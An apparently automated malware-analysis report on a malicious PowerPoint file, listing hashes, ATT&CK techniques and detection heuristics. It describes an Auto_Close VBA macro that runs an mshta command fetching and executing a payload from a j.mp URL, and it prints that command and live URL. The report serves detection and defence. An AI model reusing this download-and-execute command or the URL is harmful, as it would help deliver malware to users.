Office (OLE) / .PPT malware analysis — malicious · 00018867c63149e5

MALICIOUS

Office (OLE) / .PPT

70.5 KB Created: 2020-06-10 17:30:02 Authoring application: Microsoft Office PowerPoint

MD5: 93bcb3488398ad64f732b973907f3290 SHA-1: 0ed7aa7d63538df0165eae6176d0311ba9dd88b6 SHA-256: 00018867c63149e572e494c78b8140b1b94c4f24c2629302eb99b75b4382c71d

162 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File T1059.001 PowerShell

The Auto_close macro is triggered upon closing the presentation, which then calls the klijk function. The klijk function executes a Shell command with a string constructed from multiple functions. This string ultimately resolves to 'mshta http://%20%20@j.mp/asdakxaxasxassddodkasodkaos', indicating the intent to download and execute a payload from the provided URL using mshta.exe.

Heuristics 5

Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA
Auto_Close macro high OLE_VBA_AUTOCLOSE

Auto_Close macro
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://%20%20@j.mp/asdakxaxasxassddodkasodkaos

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `e2a84dfa1ca2959b604fc99aef30da4de413cb3f294824c992b77495fa8200eb`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	560 bytes

Open this report in the interactive analyzer, or submit your own file for analysis.